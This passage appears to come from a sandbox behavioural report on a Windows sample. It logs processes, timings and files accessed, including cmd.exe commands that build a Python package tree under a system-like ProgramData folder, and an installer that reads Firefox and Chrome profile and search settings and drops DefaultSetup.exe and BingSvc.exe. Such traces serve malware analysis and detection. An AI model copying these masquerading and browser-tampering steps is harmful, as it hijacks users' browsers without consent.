        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V2.0.50727\MSCORWKS.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCORSVW.EXE
        C:\WINDOWS\SYSTEM32\MSIDLE.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\WINSTA.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\NGENOFFLINEQUEUELOCK.DAT
        
        3976
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\BACKPORTS\
        
        Time lapse
        
        67.658722
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\BACKPORTS
        
        3952
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\
        
        Time lapse
        
        67.689922
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME
        
        3940
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\
        
        Time lapse
        
        67.705521
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL
        
        4004
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\
        
        Time lapse
        
        67.736721
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET
        
        4008
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\
        
        Time lapse
        
        67.767922
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS
        
        4020
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\DATA\
        
        Time lapse
        
        67.783522
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\DATA
        
        704
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\
        
        Time lapse
        
        67.830322
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO
        
        464
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\
        
        Time lapse
        
        67.845921
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL
        
        412
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\
        
        Time lapse
        
        67.861521
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO
        C:\WINDOWS\SYSTEM32\SECHOST.DLL
        C:\WINDOWS\SYSTEM32\WSOCK32.DLL
        C:\WINDOWS\SYSTEM32\IPHLPAPI.DLL
        C:\WINDOWS\SYSTEM32\WINNSI.DLL
        C:\WINDOWS\SYSTEM32\USERENV.DLL
        C:\WINDOWS\SYSTEM32\PROFAPI.DLL
        C:\WINDOWS\SYSTEM32\WTSAPI32.DLL
        C:\WINDOWS\SYSTEM32\IMM32.DLL
        C:\PROGRAM FILES\WINDOWS MEDIA PLAYER\EN-US\WMPNETWK.EXE.MUI
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\WINDOWS\SYSTEM32\RPCSS.DLL
        C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL
        C:\WINDOWS\SYSTEM32\POWRPROF.DLL
        C:\WINDOWS\SYSTEM32\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\SYSTEM32\WINSTA.DLL
        C:\WINDOWS\SYSTEM32\NTMARTA.DLL
        C:\WINDOWS\SYSTEM32\WMDRMDEV.DLL
        C:\WINDOWS\SYSTEM32\DRMV2CLT.DLL
        C:\WINDOWS\SYSTEM32\VERSION.DLL
        C:\WINDOWS\SYSTEM32\MFPLAT.DLL
        C:\WINDOWS\SYSTEM32\AVRT.DLL
        C:\WINDOWS\SYSTEM32\CATROOT2
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\MICROSOFT-WINDOWS-MEDIA-FORMAT-PACKAGE~31BF3856AD364E35~AMD64~~6.1.7601.17514.CAT
        C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\DRMSTORE.HDS
        C:\WINDOWS\SYSTEM32\BLACKBOX.DLL
        C:\WINDOWS\SYSTEM32\CATROOT\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\PACKAGE_116_FOR_KB3033929~31BF3856AD364E35~AMD64~~6.1.1.1.CAT
        C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\BLACKBOX.BIN
        C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\V3KS.SEC
        C:\PROGRAMDATA\MICROSOFT\WINDOWS\DRM\V3KS.BLA
        C:\WINDOWS\SERVICEPROFILES\NETWORKSERVICE\APPDATA\LOCAL\MICROSOFT\WINDOWS MEDIA PLAYER NSS\3.0\ICON FILES
        C:\WINDOWS\SERVICEPROFILES\NETWORKSERVICE\APPDATA\LOCAL\MICROSOFT\WINDOWS MEDIA PLAYER NSS\3.0\SCPD
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSTEM32\CRYPTSP.DLL
        C:\WINDOWS\SYSTEM32\RSAENH.DLL
        C:\WINDOWS\SYSTEM32\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSTEM32\UPNP.DLL
        C:\WINDOWS\SYSTEM32\WINHTTP.DLL
        C:\WINDOWS\SYSTEM32\WEBIO.DLL
        C:\WINDOWS\SYSTEM32\SSDPAPI.DLL
        
        1412
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\
        
        Time lapse
        
        67.939522
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI
        
        1500
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\
        
        Time lapse
        
        68.017521
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED
        
        1536
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\
        
        Time lapse
        
        68.033123
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING
        
        596
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\
        
        Time lapse
        
        68.048723
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32
        
        1488
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\
        
        Time lapse
        
        68.079924
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM
        
        1672
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\
        
        Time lapse
        
        68.157923
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT
        
        1656
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\
        
        Time lapse
        
        68.173523
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI
        
        1520
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\
        
        Time lapse
        
        68.204723
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS
        
        1076
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\
        
        Time lapse
        
        68.220324
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION
        
        616
        
        Image path
        
        C:\WINDOWS\SYSTEM32\CMD.EXE /C MKDIR C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\DEMOS\
        
        Time lapse
        
        68.251524
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\WINBRAND.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\EN-US\CMD.EXE.MUI
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\DEMOS
        C:\WINDOWS\SYSWOW64\MSIMG32.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\SYSWOW64\OLEDLG.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.17514_NONE_72D18A4386696C80\GDIPLUS.DLL
        C:\WINDOWS\SYSWOW64\OLEACC.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\DEFAULTPACK.EXE
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\SYSWOW64\OLEACCRC.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\FONTS\ARIAL.TTF
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\DEFAULTPACK\DEFAULTPACK.LOG
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\MSXML3.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\MSXML3R.DLL
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\INSTALLERCONFIG.XML
        C:\WINDOWS\SYSWOW64\WININET.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\TEMPORARY INTERNET FILES\CONTENT.IE5\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\INDEX.DAT
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\HISTORY\HISTORY.IE5\INDEX.DAT
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\WINDOWS\SYSWOW64\DNSAPI.DLL
        C:\WINDOWS\SYSWOW64\IPHLPAPI.DLL
        C:\WINDOWS\SYSWOW64\WINNSI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES.INI
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\ZLIB1.DLL
        C:\PROGRAM FILES\MOZILLA FIREFOX\OMNI.JA
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PREFS.JS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SEARCH.JSON.MOZLZ4
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\SEARCHTEMP.JSON
        C:\PROGRAM FILES\GOOGLE\CHROME\APPLICATION\CHROME.EXE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\EXTENSIONCONFIG.XML
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\LOCAL STATE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\PREFERENCES
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\SECURE PREFERENCES
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\BROWSERCONFIG.XML
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\EXTENSIONS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\SEARCHPLUGINS
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\DEFAULTSETUP.EXE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\BROWSERCONFIG.XML
        C:\USERS\ADMINI~1\APPDATA\LOCAL\TEMP\IXP000.TMP\BINGSVC.EXE
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\BINGSVC\BINGSVC.EXE
        C:\WINDOWS\SYSWOW64\RASAPI32.DLL
        C:\WINDOWS\SYSWOW64\RASMAN.DLL
        C:\WINDOWS\SYSWOW64\RTUTILS.DLL
        C:\WINDOWS\SYSWOW64\SENSAPI.DLL
        C:\WINDOWS\SYSWOW64\NETPROFM.DLL
        C:\WINDOWS\SYSWOW64\NLAAPI.DLL
        C:\WINDOWS\SYSWOW64\CRYPTSP.DLL
        C:\WINDOWS\SYSWOW64\RSAENH.DLL
        C:\WINDOWS\SYSWOW64\RPCRTREMOTE.DLL
        C:\WINDOWS\SYSWOW64\NPMPROXY.DLL
        C:\WINDOWS\SYSWOW64\NAPINSP.DLL
        C:\WINDOWS\SYSWOW64\PNRPNSP.DLL
        C:\WINDOWS\SYSWOW64\MSWSOCK.DLL
        C:\WINDOWS\SYSWOW64\WINRNR.DLL
        C:\WINDOWS\SYSWOW64\WSHBTH.DLL
        C:\WINDOWS\SYSWOW64\WSHTCPIP.DLL
        C:\WINDOWS\SYSWOW64\WSHIP6.DLL
        C:\WINDOWS\SYSWOW64\RASADHLP.DLL
        C:\WINDOWS\SYSWOW64\FWPUCLNT.DLL
        
        Process children
        
        1648
        
        Image path
        
        "C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\DEFAULTSETUP.EXE"
        
        Time lapse
        
        151.009668
        
        Files Accessed
        
        C:\WINDOWS\SYSTEM32\WOW64.DLL
        C:\WINDOWS\SYSTEM32\WOW64WIN.DLL
        C:\WINDOWS\SYSTEM32\WOW64CPU.DLL
        C:\WINDOWS\SYSWOW64\SECHOST.DLL
        C:\WINDOWS\SYSWOW64\MSIMG32.DLL
        C:\WINDOWS\SYSWOW64\UXTHEME.DLL
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.17514_NONE_72D18A4386696C80\GDIPLUS.DLL
        C:\WINDOWS\SYSWOW64\OLEACC.DLL
        C:\WINDOWS\SYSWOW64\WINMM.DLL
        C:\WINDOWS\SYSWOW64\WINSPOOL.DRV
        C:\WINDOWS\SYSWOW64\APPHELP.DLL
        C:\WINDOWS\APPPATCH\SYSMAIN.SDB
        C:\WINDOWS\APPPATCH\ACLAYERS.DLL
        C:\WINDOWS\SYSWOW64\USERENV.DLL
        C:\WINDOWS\SYSWOW64\PROFAPI.DLL
        C:\WINDOWS\SYSWOW64\MPR.DLL
        C:\WINDOWS\APPPATCH\ACGENRAL.DLL
        C:\WINDOWS\SYSWOW64\SAMCLI.DLL
        C:\WINDOWS\SYSWOW64\MSACM32.DLL
        C:\WINDOWS\SYSWOW64\VERSION.DLL
        C:\WINDOWS\SYSWOW64\SFC.DLL
        C:\WINDOWS\SYSWOW64\SFC_OS.DLL
        C:\WINDOWS\SYSWOW64\DWMAPI.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\DEFAULTSETUP.EXE
        C:\WINDOWS\SYSWOW64\IMM32.DLL
        C:\WINDOWS\SYSWOW64\OLEACCRC.DLL
        C:\WINDOWS\SYSWOW64\EN-US\SETUPAPI.DLL.MUI
        C:\WINDOWS\WINSXS\X86_MICROSOFT.WINDOWS.COMMON-CONTROLS_6595B64144CCF1DF_6.0.7601.17514_NONE_41E6975E2BD6F2B2\COMCTL32.DLL
        C:\WINDOWS\WINDOWSSHELL.MANIFEST
        C:\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MICROSOFT\WINDOWS\DEFAULTSETUP\DEFAULTSETUP.LOG
        C:\WINDOWS\REGISTRATION\R00000000000C.CLB
        C:\WINDOWS\SYSWOW64\MSXML3.DLL
        C:\WINDOWS\SYSWOW64\EN-US\KERNELBASE.DLL.MUI
        C:\WINDOWS\SYSWOW64\MSXML3R.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\DEFAULTSETUP\BROWSERCONFIG.XML
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES.INI
        C:\USERS\ADMINISTRATOR\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\F7ENQI8A.DEFAULT-RELEASE\PREFS.JS
        C:\WINDOWS\SYSWOW64\PROPSYS.DLL
        C:\WINDOWS\SYSWOW64\SHELL32.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\CVERSIONS.1.DB
        C:\WINDOWS\SYSWOW64\NTMARTA.DLL
        C:\USERS\ADMINISTRATOR\APPDATA\LOCAL\MICROSOFT\WINDOWS\CACHES\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.VER0X0000000000000002.DB
